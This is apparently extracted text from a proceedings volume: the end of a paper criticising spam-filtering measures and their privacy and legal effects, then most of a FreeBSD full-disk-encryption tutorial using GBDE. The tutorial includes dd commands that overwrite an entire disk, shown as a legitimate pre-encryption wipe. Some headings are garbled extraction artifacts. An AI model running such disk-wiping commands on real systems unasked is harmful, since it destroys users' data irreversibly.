virus. Spammers, in cooporation with virus authors, command networks of thousands of cracked PCs to relay their junk e-mail.4 Blacklists have trouble keeping up with this development because most of these vulnerable PCs are behind dial-up accounts which change their IP address every day. And even if the IP addresses could be tracked, spammers could simply switch to the next set of a thousand zombies. Over the last few years, ISPs have begun blocking the TCP port 25 for their dial-up customers. This means that dial-up users can no longer connect to port 25 on arbitrary hosts but have to route all e-mail through the designated mail server of their ISP. Compromised PCs would no longer be usable as zombies for junk mailing. For the “average” e-mail users, this doesn’t make a difference, and the fact that an ISP blocks port 25 might even slightly increase their security indirectly, as their hosts are no longer an attractive target for installing “zombieware”. Many e-mail users, however, wish to command e-mail accounts other than the one offered by their ISP from their machines. People use alternative e-mail providers, use office e-mail accounts while working at home, or host entire company networks behind DSL lines. Simply blocking port 25 is therefore not an acceptable measure. To offset this problem, ISPs might then offer that all dialup customers can relay outgoing mail through the ISP’s mail server, no matter what domain. (If the ISP’s mail server properly checks the connecting IP address or requires authentication, this is not an open relay and therefore acceptable.) This, however, will still not allow customers to bypass the ISP’s mail server for other reasons, such as the ISP’s mail server being misconfigured or the desire 4 Impressive examples were related by Hauptkommissar Frank Eißmann, Dezernat für Computerkriminalität, Landeskriminalamt Baden-Württemberg at [7]. 6 69 | to use other mailing software. It’s also fundamentally incompatible with the SPF system. These two measures combined are a particularly powerful way to control and restrict how users send e-mail. The only acceptable measure if an ISP blocks port 25 is to give every customer the option to unblock the port without any questions. It can be expected that even more ISPs will begin to block port 25 by default in the future. Government groups such as the “London Action Plan” might even endorse the measure.5 Consumers should be wary that ISPs do not take this as an excuse to restrict communications instead. 2.6 Challenge/Response Systems A challenge/response (CR) system is a different kind of greylisting, if you will. The mail server of the recipient of an e-mail intercepts the message and sends a challenge e-mail to the sender. The challenge might be to simply reply to the challenge e-mail or perhaps to solve a small puzzle first. In any case, some evidence of human intervention should be shown, under the assumption that spam software would not respond to such challenges. Only after the challenge is completed, the original e-mail will be delivered. CR systems are a major annoyance of e-mail users, have a high risk of losing e-mail, and are quite useless against spam, for the following reasons [8]: • Sender addresses of most spam are faked, so innocent parties are hit by challenge messages. (This is related to the bounce message problem explained in section 2.2.) • For that reason, using a CR system will likely land you on blacklists for spamming. • Spam using fake sender addresses can conceivably bypass CR systems by guessing sender addresses that have likely been authenticated already. • Two parties using CR systems could never begin to talk to each other. • To make sure that challenge messages get through, loopholes would need to be created in spam filter and other CR software. These loopholes could be exploited by spam [9]. Installing a CR system on the mail server of an ISP or large organization would also allow the provider the track the e-mail transactions of the users in fine detail, which is a clear privacy violation. If CR systems became widespread and users became accustomed to responding to these challenges, spammers could easily send out fake challenges for e-mail address harvesting. CR is therefore counterproductive in the fight against spam and should not be used under any circumstances. 5 Related by Jean-Jacques Sahel, Head International Communications Policy, Departement of Trade and Industry, U.K. at [7]. 7 | 70 COLLATERAL DAMAGE 2.7 Being Smarter Than Everyone Else There are a number of other things that people have tried when filtering junk mail that are better not repeated. Some examples: • Manually maintaining a DNSBL because you don’t trust the external ones. It is impossible to keep such a system up to date by oneself. • Running a local Pyzor server and feeding it only with your locally detected spam e-mail. This will not help you detect more or less spam. • Securing your system in all kinds of ways but forgetting the MX backup. The concept of the classical MX backup hosted by someone else is pretty much obsolete. • Randomly checking for RFC or other standard purity. This has nothing to do with spam. • Changing your e-mail address regularly and sending everyone (including the spammers) an e-mail about that. E-mail communication is governed by public protocols. Adding filters on top of that already alters the protocols in ways that are sometimes hard to comprehend, but if the filters are at least widely known, a general understanding can be developed about how e-mail should be delivered. Adding private filtering solutions that are not well thought out, have little correlation with junk e-mail occurrence, or annoy other users, do not benefit the reliability of the e-mail system. 3 Legal Issues Besides the technical challenges, spam filtering also raises legal questions. Foremost, there are privacy issues. Of course, mail servers already keep extensive logs of all e-mail activity. But consider for instance the following additional points: • Bayesian filters build a database of all words found in e-mails. • A greylisting database keeps a record of all senders, recipients, and connecting IP addresses. This information is already in the mail server logs, but is the greylisting database adequately secured? • Distributed systems like DCC inform the world about how many times an e-mail was sent, something which you perhaps did not intend the world to know. • Challenge/response systems keep very detailed records about an e-mail transaction in order to verify the challenge [8]. • Techniques like SPF and blocking port 25 give ISPs increasing control about the paths that e-mails may take. 8 71 | These kinds of checks tend to take place on the mail server of the ISP, so these databases are not under the control of the user. Any kind of spam fighting effort begins with building a database of spam. All major providers of spam and virus filtering solutions have massive databases of e-mails. Various industry associations and government agencies are collecting e-mails as well, for example: The association of German Internet enterprises (eco – Verband der deutschen Internetwirtschaft e.V.) is collecting spam at hotline@eco.de. The Zentrale zur Bekämpfung unlauteren Wettbewerbs e.V. (a German association against unfair trading) is collecting spam at beschwerdestelle@spam.vzbv.de. The Federal Trade Commission (FTC) of the USA is collecting spam at spam@uce.gov. More databases are in preparation. As part of the “European Spambox Project”, many of these types of databases will be shared at the European level.6 Now the average user might not care who collects spam, but it is not hard to imagine other uses for these databases, such as tracking user accounts and users themselves. Fortunately, consumers often have a recourse against these kinds of actions. Under German law, analyzing e-mails for signs of spam is not allowed without the consent of the recipient [1]. (The situation elsewhere in the EU should be similar since the relevant laws follow from EU regulations.) This follows both from privacy laws (Bundesdatenschutzgesetz ) and the secrecy of telecommunications (Fernmeldegeheimnis). (Different rules apply to virus filtering.) Severe criminal penalties may apply in cases where e-mails are blocked, withheld, delayed, or analyzed by telecommunications providers without consent of the communicating parties. This would include all spam filtering methods including statistical analysis, distributed filtering, greylisting, and quarantines. ISPs therefore usually include rules about e-mail filtering in their use policies or require users to explicitly activate the junk mail filter on their account. Users are still invited to verify what exactly happens to their e-mails before activating the “Please filter my spam” checkbox, and should request that information from the ISPs if necessary. As usual, of course, few people will actually bother about this, and the privacy of e-mail in general will deteriorate further. 4 Conclusion “I can’t find your e-mail. I think my spam filter ate it.” This utterance is becoming commonplace, and worse, it seems to become an acceptable explanation for e-mail communication failures. Compare this to “I didn’t get your postcard. I think the post office destroyed it because it contained too many exclamation marks.” or “I didn’t get your package. I think the dog killed the carrier because UPS in on our building’s blacklist.” No one would accept these as valid explanations for failure to deliver postal items. The attempt to establish e-mail as a reliable and trustworthy communications medium is already lost. Spam and other forms of e-mail abuse certainly share most of the blame for that. But poorly thought-out countermeasures, the general failure of the computing industry to improve and amend the e-mail protocols, and the failure of governments to react to these developments in a timely manner have certainly contributed. 6 Related by Jean-Christophe LeToquin, Attorney, Microsoft EMEA HQ, at [7]. 9 | 72 COLLATERAL DAMAGE I have shown that a number of e-mail filtering techniques have a negative impact on the stability, performance, and usability of the e-mail system. Users are invited to evaluate each filtering technique critically and thoroughly before putting it to use. I have also shown how the increased spam fighting efforts raise a number of privacy and other legal issues. Users are therefore also invited to critically examine the configuration and policies of their ISP’s e-mail service. It is unclear how the fight against junk e-mail will continue. New defense mechanisms are slow to arrive and will likely impose additional burdens on users. Increased efforts by governments are commendable but have yet to show large-scale results. More likely, the combat of spam will continue to be an uphill battle for all legitimate users of e-mail. References [1] Eisentraut, P., and Wirt, A., Mit Open Source-Tools Spam & Viren bekämpfen, Köln: O’Reilly, 2005. [2] Trend Micro Incorporated, “MAPS – Stopping Spam at its Source”, http: //www.mail-abuse.com/. [3] Martinec, M., http://www.ijs.si/software/amavisd/. [4] Lundgren, B., http://www.greylisting.org/. [5] “SPF: A Sender Policy Framework to Prevent Email Forgery”, http:// www.openspf.org/. [6] Microsoft Corporation, “Sender ID Home Page”, http://www.microsoft. com/mscorp/safety/technologies/senderid/default.mspx. [7] eco – Verband der deutschen Internetwirtschaft e.V., “3. Deutscher Anti Spam Kongress”, Sept. 2005, http://www.eco.de/servlet/PB/menu/ 1639239/index.html. [8] Self, K. M., “Challenge-Response Anti-Spam Systems Considered Harmful”, Apr. 2004, http://kmself.home.netcom.com/Rants/ challenge-response.html. [9] Felten, E., “A Challenging Response to Challenge-Response”, May 2003, http://www.freedom-to-tinker.com/index.php?p=389. 10 73 | COMPLETE Hard Disk Encryption with FreeBSD Learn how to effectively protect not only your data but also your applications Marc Schiesser 75 | Complete Hard Disk Encryption Using FreeBSD's GEOM Framework Marc Schiesser m.schiesser [at] quantentunnel.de October 20th 2005 Abstract Most technologies and techniques intended for securing digital data focus on protection while the machine is turned on – mostly by defending against remote attacks. An attacker with physical access to the machine, however, can easily circumvent these defenses by reading out the contents of the storage medium on a different, fully accessible system or even compromise program code in order to leak encrypted information. Especially for mobile users, that threat is real. And for those carrying around sensitive data, the risk is most likely high. This paper describes a method of mitigating that particular risk by protecting not only the data through encryption, but also the applications and the operating system from being compromised while the machine is turned off. The platform of choice will be FreeBSD, as its GEOM framework provides the flexibility to accomplish this task. The solution does not involve programming, but merely relies on the tools already provided by FreeBSD. | 76 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD    1 Background & motivation......................................................................................................2 2 Partial disk encryption...........................................................................................................3 2.1 File-based encryption.....................................................................................................4 2.2 Partition-based encryption............................................................................................5 2.3 The leakage risk...............................................................................................................5 2.4 New attack vectors..........................................................................................................6 3 Complete disk encryption.....................................................................................................6 3.1 Tools provided by FreeBSD............................................................................................6 3.2 The problem with complete disk encryption...............................................................7 3.3 Requirements..................................................................................................................8 3.4 Complete hard disk encryption using GBDE................................................................8 3.4.1 Erasing previously stored data...............................................................................8 3.4.2 Initialization & the lockfile......................................................................................9 3.4.3 Attaching the encrypted medium..........................................................................9 3.4.4 Partitioning............................................................................................................10 3.4.5 Creating the filesystem..........................................................................................11 3.4.6 Installing FreeBSD.................................................................................................11 3.4.7 Preparing the removable medium.......................................................................12 3.4.8 The kernel modules...............................................................................................12 3.4.9 The problem with GBDE.......................................................................................13 3.4.10 The memory disk.................................................................................................13 3.4.11 Populating the memory disk filesystem............................................................14 3.4.12 The booting process............................................................................................14 3.4.13 Creating the symlinks..........................................................................................15 3.4.14 Integrating the memory disk image...................................................................15 3.4.15 The swap partition...............................................................................................16 3.4.16 Post-installation issues.......................................................................................16 3.5 Complete hard disk encryption using GELI................................................................16 3.5.1 Readying the hard disk..........................................................................................17 3.5.2 Improvements and new problems with GELI.....................................................17 3.5.3 Initializing, attaching and partitioning................................................................18 3.5.4 Filesystem creation and system installation.......................................................19 3.5.5 The removable medium........................................................................................19 3.5.6 Mounting the encrypted partition.......................................................................19 4 Complete hard disk encryption in context.........................................................................20 4.1 New defenses & new attack vectors – again................................................................20 4.2 Trade-offs......................................................................................................................22 4.3 GBDE vs. GELI...............................................................................................................23 5 Conclusion............................................................................................................................23 References & further reading.................................................................................................24 77 |     As more and more data enters the digital world, appropriate measures must be taken in order to protect it. Considering the ever-increasing number of networked devices and the inherent exponential growth of the Internet, it is imperative that a large amount of effort go into securing devices against remote attacks. Common technologies and techniques include firewalls, intrusion detection systems (IDS), encryption of all kinds of network transmissions as well as hardening network stacks and fixing buffer overflows. At the same time, we are witnessing increasingly sophisticated and complex mobile devices such as PDAs, smartphones and cell phones becoming pervasive and assuming all kinds of important tasks. Between the general-purpose laptop and the (once) specialpurpose cell phone, pretty much anything in between is available. As people use these devices, they also generate data – either explicitly or implicitly. Explicitly stored data might for example include: entering a meeting into the electronic schedule, storing a telephone number and associating a name with it, or saving an email message draft in order to finish it later. But then there is also the data which is stored implicitly. Examples include the history of the telephone numbers called or received, browser caches, recently accessed files, silently by the software archived or backed-up data such as email messages, log files and so on. Even if the user remembers to delete the explicitly stored files after they are no longer needed, it is possible to trace a lot of his or her activity on the device by looking at the aforementioned, implicitly stored data. The more sophisticated the device is, the more such data will usually be generated, mostly without the user's knowledge. In terms of performance, laptop computers hardly lag behind their desktop counterparts – enabling them to run the same powerful and complex software. It also means that the users tend to generate far more data – both explicitly and implicitly – than on simpler devices. In addition to being exposed to remote attacks, laptop users are also faced with an increased exposure of the machine itself. While stationary computers are physically accessible by usually only a limited number of people, a laptop computer is intended to be used anywhere and anytime. This paper does not try to provide any solutions to mitigating the risks of remote attacks. Instead, it concentrates on the risks posed by attackers with physical access to the device. An attacker with physical access to a machine can either:  boot his own operating system, thus circumventing restrictions such as login procedures, filesystem and network access control and sandboxes  or remove the hard disk from the targeted machine and install it in a system which is under the control of the attacker – in case the target's booting sequence is protected (e.g. by a BIOS password) Unfortunately, most people and companies take quite lax an approach when it comes to protecting their data in-storage, while the machine is turned off. The following quotes illustrate just how serious a problem the lack of in-storage encryption can become:  „Thieves stole computer equipment from Fort Carson containing soldiers' Social Security numbers and other personal records, the Army said ...” [Sarche, 2005]  „Personal devices "are carrying incredibly sensitive information," said Joel -2- | 78 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD Yarmon, who, as technology director for the staff of Sen. Ted Stevens (RAlaska), had to scramble over a weekend last month after a colleague lost one of the office's wireless messaging devices. In this case, the data included "personal phone numbers of leaders of Congress. . . . If that were to leak, that would be very embarrassing," Yarmon said.” [Noguchi, 2005]  „A customer database and the current access codes to the supposedly secure Intranet of one of Europe's largest financial services group was left on a hard disk offered for sale on eBay.” [Leyden, 2004]  „ ... Citigroup said computer tapes containing account data on 3.9 million customers, including Social Security numbers, were lost by United Parcel Service.” [Reuters, 2005]  „Earlier this year, a laptop computer containing the names and Social Security numbers of 16,500 current and former MCI Inc. employees was stolen from the car of an MCI financial analyst in Colorado. In another case, a former Morgan Stanley employee sold a used BlackBerry on the online auction site eBay with confidential information still stored on the device. And in yet another incident, personal information for 665 families in Japan was recently stolen along with a handheld device belonging to a Japanese power-company employee.” [Noguchi, 2005]  „ ... trading firm Ameritrade acknowledged that the company that handles its backup data had lost a tape containing information on about 200,000 customers. ” [Lemos, 2005]  „MCI last month lost a laptop that stores Social Security numbers of 16,500 current and former employees. Iron Mountain, an outside data manager for Time Warner, also lost tapes holding information on 600,000 current and former Time Warner workers.” [Reuters, 2005] Even though the number of press articles reporting damage due to stolen mobile computers – or more specifically: storage media – does not reach the amount of publicity that remotely attacked and compromised machines provoke, it must also be taken into account that data on a laptop does not face as much exposure as it does on an Internet server. A laptop computer can be insured and data regularly be backed up in order to limit the damage in case of loss or theft; but protecting the data from unauthorized access requires a different approach.      Encryption of in-storage data (as opposed to in-transmission) is not a completely new idea, though. Several tools for encrypting individual files have been around for quite some time. Examples include the famous PGP (Pretty Good Privacy) as well as its free counterpart GnuPG and the somewhat less known tools AESCrypt1 and NCrypt2. More sophisticated approaches aim towards encrypting entire partitions. The 1 http://aescrypt.sourceforge.net/ 2 http://ncrypt.sourceforge.net/ -379 | vncrypt3 project is an example that takes this approach.    The idea is that the user can decide for each file individually, whether and how it is to be encrypted. This has the following implications:  CPU cycles can be saved on data that the user decides is not worth the effort. This is an advantage, since encryption requires a lot of processing power. It also allows the user to choose different keys for different files (although reality usually reflects the opposite phenomenon).  Meta data is not encrypted. Even if the file's contents are sufficiently protected, information such as file name, ownership, creation and modification date, permissions and size are still stored in the clear. This represents a risk which is not to be underestimated. The usability of in-storage encryption largely depends on how transparent the encryption and decryption process is performed to the user. In order to minimize user interaction, the relevant system calls must be modified to perform the cryptographic functions accordingly. That way, neither the user nor the applications must make any additional effort to process encrypted file content, since the kernel will take care of this task. If system call modification is not going to take place, any program required to process encrypted data must either be modified to perform the necessary cryptographic functions itself or it must rely on an external program for that task. This conversion between cipher text and plain text – and vice versa – is hardly possible without requiring any user interaction. Scenario: file-based encryption of huge files The file might be a database or multimedia container: if the cryptographic functions are not performed on-the-fly (usually through modified system calls), the entire file content must be temporarily stored in plain text – therefore consuming twice the space. Then the unencrypted copy must be opened by the application. After the file has been closed, it obviously must be encrypted again – unless no modification has taken place. The application will therefore save the data in plain text, which must then be encrypted and written out in its cipher text form again – but by a program capable of doing the appropriate encryption. The unencrypted (temporary) copy could of course just be unlinked (removed from the name space), but in that case the unencrypted data would still remain on the medium until physically completely overwritten. So, if one wants to really destroy the temporary copy, several overwrites are required – which can consume a lot of time with large files. Therefore, a lot of unnecessary I/O must be performed. Scenario: file-based encryption of many files If one wants to encrypt more than just a small bunch of files, it actually does not matter how small or large they are – the procedure described above still must be adhered to unless encryption and decryption is performed on-the-fly. Aside from its lack of scalability, file-based encryption also suffers from the leakage 3 http://sourceforge.net/projects/vncrypt/ -4| 80 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD risk “phenomenon” – which will be discussed in chapter 2.3. In most cases, encryption is therefore either abandoned or the following, more effective and efficient scheme is chosen.     Obviously, creating a temporary plain text copy of an entire partition each time the data is accessed, is hardly a sane solution. The system must therefore be able to perform the encryption and decryption on-the-fly, as it has been implemented in the FreeBSD kernel for GBDE [Kamp, 2003a] and GELI [Dawidek, 2005a] and cgd(4) in NetBSD [Dowdeswell & Ioannidis, 2003]. A few third party add-ons also exist. One example of this is the aforementioned vncrypt, which was developed at Sourceforge. vncrypt is, however, in a further sense still file-based, because the encrypted partition is only a mounted pseudo-device created via the vn(4) facility from a regular file. This file holds all the partition's data in encrypted form – including meta data. OpenBSD's vnconfig(8) provides a similar feature [OpenBSD, 1993]. One aspect associated with partition-based encryption is that its set-up process is usually more extensive than it is for file-based encryption. But once it has been done, partition-based encryption is far superior to the file-based encryption scheme. All data going to the particular partition is – by default – stored encrypted. As both encryption and decryption is performed transparently to the user and on-the-fly, it is also feasible to encrypt both large amounts of files and large amounts of data. But unfortunately, this scheme it not perfect either.     As obvious as it may sound, partition-based encryption protects only what goes onto the encrypted partition. The following scenario highlights the particular problem. Scenario: editing a sensitive document stored on an encrypted partition A mobile user needs to have a lot of data at his immediate disposal. Since some information is sensitive, he decides to put it on an encrypted partition. Unfortunately, the encryption becomes basically useless as soon as encrypted files are opened with applications that create temporary copies of the files currently being worked on, often in the /tmp directory. So unless the user happens to have /tmp encrypted, his sensitive data is leaked to an unencrypted part of the medium. Even if the application deletes the temporary copy afterwards, the data still remains on the medium until it is physically overwritten. Meta data such as file name, size and ownership may also have leaked and may therefore remain accessible for some time. This phenomenon happens equally implicitly with printing. Even if the application itself does not leak any data, the spooler will usually create a Postscript document in a subdirectory of /var/spool/lpd/, which is not encrypted unless specifically done so. Even though it is possible to symlink the “hot” directories such as /tmp, /var/tmp, as well as the complete /home or /var/spool/lpd/ to directories on the encrypted partition, the leakage risk can never be avoided completely. It is something that users of partitionbased encryption just have to be aware of and learn to live with by minimizing the amount of leaked data as much as possible. -581 | The leakage risk is also another reason why file-based encryption is virtually useless. While this issue is certainly a problem for sensitive data, there is a far bigger problem, which so far has been quietly ignored.    The point of storing data is to be able to retrieve it at some later date. So far, everything that was discussed, was based on the assumption that both the OS and the applications were stored unencrypted – there is also no point in doing otherwise as long as the data itself is not encrypted:  if data cannot4 be destroyed, stolen or modified remotely, a dedicated attacker will find a way to gain local (physical) access to the system  if login procedures, filesystem access control and other restrictions imposed by the OS and applications cannot be defeated or circumvented, the attacker will boot his/her own OS  if the booting sequence on the machine is protected, the attacker will remove the hard disk and access it from a system under his control  if the data on the hard disk is encrypted and a brute-force attack is not feasible, then the attacker will most likely5 target the OS and/or the applications The key motivation behind complete disk encryption is illustrated in the last point: the OS and the applications are now the target. Instead of breaking the encryption, an attacker can try and subvert the kernel or the applications, so they leak the desired data or the encryption key. The goal is therefore to encrypt the OS and all the applications as well. Just as any security measure that is taken, this scheme involves trade-offs, such as less convenience and decreased performance. These issues will be discussed later. Every user considering this scheme must therefore decide for him- or herself, whether the increase in security is worth the trade-offs.            ! The platform of choice here is FreeBSD, because it comes with a modular, very powerful I/O framework called GEOM [Kamp, 2003b] since the release of the 5.x branch. The 5.x branch underwent several major changes compared to the 4.x branch and was not declared -STABLE until the 5.3-RELEASE in November 2004. The 5.x branch did, however, feature a GEOM class and a corresponding userland utility called GBDE (GEOM Based Disk Encryption) as early as January 2003 when 5.0-RELEASE came out. GBDE was specifically designed to operate on the sector level and is therefore able to 4 perfect security is not possible; therefore 'cannot' should rather be read as 'cannot easily enough' 5 tampering with the hardware is of course also possible, for example with a hardware keylogger; defending against this kind of attack is not discussed in this paper -6| 82 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD encrypt entire partitions and even hard disks or other media. When the 5.x branch was finally declared -STABLE and therefore ready for production use, 6.x became the new developer branch, carrying all the new, more disruptive features. Into this branch added was also a new module and userland utility called GELI [Dawidek, 2005b]. In addition to containing most of the GBDE features, GELI was designed to enable the kernel to mount the root filesystem (/) from an encrypted partition. GBDE does not allow to do this and therefore requires a “detour“ in order to make complete hard disk encryption work. This paper will discuss the realization of complete hard disk encryption with both tools without having to rely on programming. GELI is a more elegant solution, because it was designed with this application in mind. GBDE, on the other hand, has seen more exposure because it has been available for much longer then GELI and therefore is more likely to have received more testing. Using GBDE for complete hard disk encryption also illustrates some interesting problems inherent with the booting process and how these can be solved. Which approach is in the end chosen, is left to the user. The following table lists the most important features of GBDE and GELI [Dawidek, 2005b]. GBDE GELI First released in FreeBSD 5.0 6.0 Cryptographic algorithms AES AES, Blowfish, 3DES Variable key length No Yes Allows kernel to mount encrypted root partition No Yes Dedicated hardware encryption acceleration No Yes, crypto(9) Passphrase easily changeable Yes Yes Filesystem independent Yes Yes Automatic detach on last close No Yes Table 1: the most important GBDE and GELI features  ""   There are cases in which it is desirable to encrypt the whole hard disk – especially with mobile devices. This also includes the encryption of the kernel and the boot loader. Today's computers, however, cannot boot encrypted code. But if the boot code is not encrypted, it can easily be compromised. The solution is therefore to store all code necessary for booting and then mounting the encrypted hard disk partition on a medium that can be carried around at all times. While virtually any removable medium is easier to carry around than a fixed one, USB memory sticks are currently the best solution. They provide plenty of space at affordable prices, are easily rewritable many times and easy to use since operating systems treat them like a hard disk. But most importantly, they are small and light. Obviously, putting the boot code on a removable medium instead of the fixed hard disk does not solve the problem of compromise – the risk is simply shifted toward the removable medium. But since that medium can be looked after a lot more easily, there is a considerable benefit to the user. -783 | #$%" Independent of whether GBDE or GELI is used, the following things are required:  A bootable, removable medium. It will carry the boot code as well as the kernel. This medium is preferably a USB memory stick, because it is small, light and offers a lot of easily rewritable space.  The device intended for complete disk encryption. Is is very important that this device is capable of booting from the removable medium mentioned above. Especially older BIOSes may not be able to boot from USB mass storage. Bootable CDs will probably work on most machines. Although they work equally well (r/w access is not a requirement for operation), they are harder to set up and maintain.  In order to set up and install everything, a basic FreeBSD system is required. The FreeBSD installation discs carry a “live filesystem” – a FreeBSD system which can be booted directly from the CD. It can be accessed via the sysinstall menu entry 'Fixit'. All following instructions are assumed to be executed from the aforementioned “live filesystem” provided by the FreeBSD installation discs. Before proceeding any further, the user is strongly urged to back up all data on the media and the devices in question. Furthermore, it will be assumed that the hard disk to be encrypted is accessible through the device node /dev/ad0 and the removable (USB) medium through /dev/da0. These paths must be adjusted to the actual set-up! &"    % '!(         Before a medium is set up to store encrypted data, it is important to completely erase all data previously stored on it. All data on it has to be physically overwritten – ideally multiple times. Otherwise the data that has previously been stored unencrypted would still be accessible at the sector level of the hard disk until overwritten by new data. There are two ways to wipe a hard disk clean: # dd if=/dev/zero of=/dev/ad0 bs=1m overwrites the entire hard disk space with zero values. The parameter bs sets the block size to 1 MB – the default (512 B) would take a very long time with large disks. # dd if=/dev/random of=/dev/ad0 bs=1m does the same thing, but uses entropy instead of zero values to overwrite data. The problem with the first approach is that it is quite obvious which parts of the medium carry data and which ones are unused. Attackers looking for potential clues about the encryption key can often exploit this information. In most cases, however, this should not be a major risk. The downside of using entropy is that it requires far more processing power than simply filling the hard disk -8| 84 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD space with zero values. The required amount of time may therefore be too great a tradeoff for the additional increase in security – especially on older, slower hardware. !  "   # After the hard disk to be encrypted has been wiped clean, it can be initialized for encryption. This is done using the gbde(8) command: # gbde init /dev/ad0 -L /very/safe/place/lockfile Enter new passphrase: Reenter new passphrase: The lockfile is very important, as it is needed later to access the master key which is used to encrypt all data. The 16 bytes of data stored in this lockfile could also be saved in the first sector of the medium or the partition, respectively. In that case, however, only the passphrase would be required to get access to the data. The passphrase – however strong it is – will face intensive exposure with mobile devices as it must be typed in each time the system is booted up. It therefore cannot be realistically guaranteed that the passphrase remains only known to those authorized to access the protected system and data. But since an additional medium is needed anyway in order to boot the core OS parts, it might as well be used as a storage area for the lockfile – effectively functioning as a kind of access token. With this scheme, two things are required to get access to the data: the passphrase and the lockfile. If the lockfile is unavailable (lost or destroyed), even knowledge of the passphrase will not yield access to the data! $ #  #   After the initialization is complete, the encrypted hard disk must now be attached – meaning that the user has to provide both the passphrase and the lockfile to gbde, which in turn provides (or denies) access to the decrypted data. # gbde attach /dev/ad0 -l /very/safe/place/lockfile Enter passphrase: If the passphrase and the lockfile are valid, gbde creates an additional device node in the /dev directory. This newly created node carries the name of the just attached device ('ad0') plus the suffix '.bde'.  /dev/ad0 can be used to access the actual contents of the hard disk, in this case the cipher text  /dev/ad0.bde is an abstraction created by GBDE and allows plain text access to the data All reads from and writes to the .bde-node are automatically de-/encrypted by GBDE and therefore no user interaction is required once the correct passphrase and lockfile has been provided. The ad0.bde node acts just like the original ad0 node: it can be partitioned using bsdlabel(8) or sliced with fdisk(8), it can be formated as well as mounted. It is important to keep in mind that once a storage area has been attached and the corresponding .bde device node for it has been created, it remains that way until it is -985 | explicitly detached via the gbde command or the system is shut down. In the period between attaching and detaching, there is no additional protection by GBDE.      The next step is to partition the hard disk. This is usually done using sysinstall(8) – which, unfortunately, does not support GBDE partitions and fails to list device nodes with a .bde suffix. Therefore, this work has to be done using the tool bsdlabel. # bsdlabel -w /dev/ad0.bde # bsdlabel -e /dev/ad0.bde First, a standard label is written to the encrypted disk, so that it can be edited afterwards. bsdlabel will display the current disk label in a text editor, so it can be modified. In order to make the numbers in the following example easier to read, the disk size is assumed to be 100 MB. The contents of the temporary file generated by bsdlabel might look like this: # /dev/ad0.bde: 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 198544 16 unused 0 0 c: 198560 0 unused 0 0 # "raw" part, don't edit Each partition occupies one line. The values have the following meaning: column description 1 a=boot partition; b=swap partition ; c=whole disk; d, e, f, g, h=freely available 2 and 3 partition size and its offset in sectors 4 filesystem type: 4.2BSD, swap or unused 5, 6 and 7 optional parameters, no changes required Table 2: bsdlabel(8) file format After the temporary file has been edited and the editor closed, bsdlabel will write the label to the encrypted hard disk – provided no errors have been found (e.g. overlapping partitions). It is important to understand the device node names of the newly created partitions. The encrypted boot partition (usually assigned the letter 'a'), is now accessible via device node /dev/ad0.bdea. The swap partition is ad0.bdeb and so on. Just as adding a boot partition to an unencrypted disk would result in a ad0a device node, adding an encrypted slice holding several partitions inside would result in ad0s1.bdea, ad0s1.bdeb and so on. An easy way to keep the naming concept in mind is to remember that everything written after the .bde suffix is encrypted and therefore hidden even to the kernel until the device is attached. For example: ad0s1.bdea means that the data on the first slice is encrypted – including the information that there is a boot partition inside that slice. If the slice is not attached, it is only possible to tell that there is a slice on the disk – neither the contents of the slice, nor the fact that there is at least one partition inside the slice can be unveiled. -10| 86 COMPLETE HARD DISK ENCRYPTION WITH FREEBSD In fact, the node ad0s1.bdea does not even exist until the slice has been successfully attached, because without having the key (and the lockfile), the kernel cannot know that there is a partition inside the encrypted slide. Scenario: multiple operating systems on the same disk It is also possible to have multiple operating systems on the same disk – each on its own slice. The slice containing FreeBSD can be encrypted completely, hiding even the fact that the FreeBSD slice contains multiple partitions inside (boot, swap, etc). This way, all data on the FreeBSD slice remains protected, while the other operating systems on the machine can function normally on their unencrypted slices. In fact, they cannot even compromise the data on the FreeBSD slice – even if an attacker manages to get root access to a system residing on an unencrypted slice. %    #   Now that device nodes for the encrypted partitions exist, filesystems can be created on them: # newfs /dev/ad0.bdea # newfs /dev/ad0.bded etc. Note that the swap partition does not need a filesystem; the 'c' partition represents the entire (encrypted) disk. This partition must not be formated or otherwise be modified! &!  '() Now that the filesystems have been created, FreeBSD can be installed on the encrypted hard disk. Usually, this would be done using sysinstall again. But just as sysinstall cannot partition and format encrypted media, it cannot install the system on them. The distributions that comprise the FreeBSD operating system, therefore have to be installed manually. The FreeBSD installation disc contains a directory that is named after the release version of the system, for example: 5.4-RELEASE, 6.0-BETA etc. In this directory, each distribution – such as base, manpages or src – has its own subdirectory with an install.sh script. The base distribution is required, all others are optional. In order to install the distributions, the encrypted boot partition (and others, if used for example for /usr) has to be mounted and the environment variable DESTDIR set to the path where the encrypted boot partition has been mounted. Then all distributions can be installed using their respective install.sh script. The following example assumes that the encrypted boot partition /dev/ad0.bdea has been mounted on /fixed and the FreeBSD installation disc on /dist (the “live-filesystem” default). If the live-filesystem is used, the /fixed directory is easy to create because the root (/) is a memory disk. # mount /dev/ad0.bdea /fixed # export DESTDIR=/fixed/ -1187 | # cd /dist/5.4-RELEASE/base && ./install.sh You are about to extract the base distribution into /fixed - are you SURE you want to do this over your installed system (y/n)? After all desired distributions have been installed, there is a complete FreeBSD installation on the encrypted disk and the swap partition is also ready. But since this system cannot be booted from the hard disk, it is necessary to set up the removable medium. *  # As it has already been discussed, this medium will not be encrypted. This means that the standard tool sysinstall can be used. The removable medium needs one partition of at least 7 MB. This provides only space for the kernel, some modules and the utilities required for mounting the encrypted partition(s). All other modules such as third party drivers need to be loaded after init(8) has been invoked. If it is desired that all FreeBSD kernel modules be available on the removable medium and thus are loadable before init is called, the slice should be at least 25 MB in size. The removable medium can be sliced using fdisk or via 'Configure' - 'Fdisk' in the sysinstall menu. The changes made to the medium can be applied immediately by hitting 'W'. After that, the slice has to be labeled (sysinstall menu 'Label'). All the space on the slice can be used for the boot partition, since the swap partition on the encrypted hard disk will be used. The mount point for the boot partition does not matter; this text, however, will assume that it has been mounted on /removable. sysinstall then creates the partition, the filesystem on it and also mounts it on the specified location (/removable). After that, sysinstall can be quit in order to copy the files required for booting from the removable medium. All that is required is the /boot directory – it can be copied from the installation on the encrypted hard disk: # cp -Rpv /fixed/boot /removable +#  User interaction with GBDE is done through the userland tool gbde(8), but most of the work is carried out by the kernel module geom_bde.ko. This module must be loaded before the userland utility is called. Usually, kernel modules are loaded by loader(8) based on the contents of the file /boot/loader.conf – then control 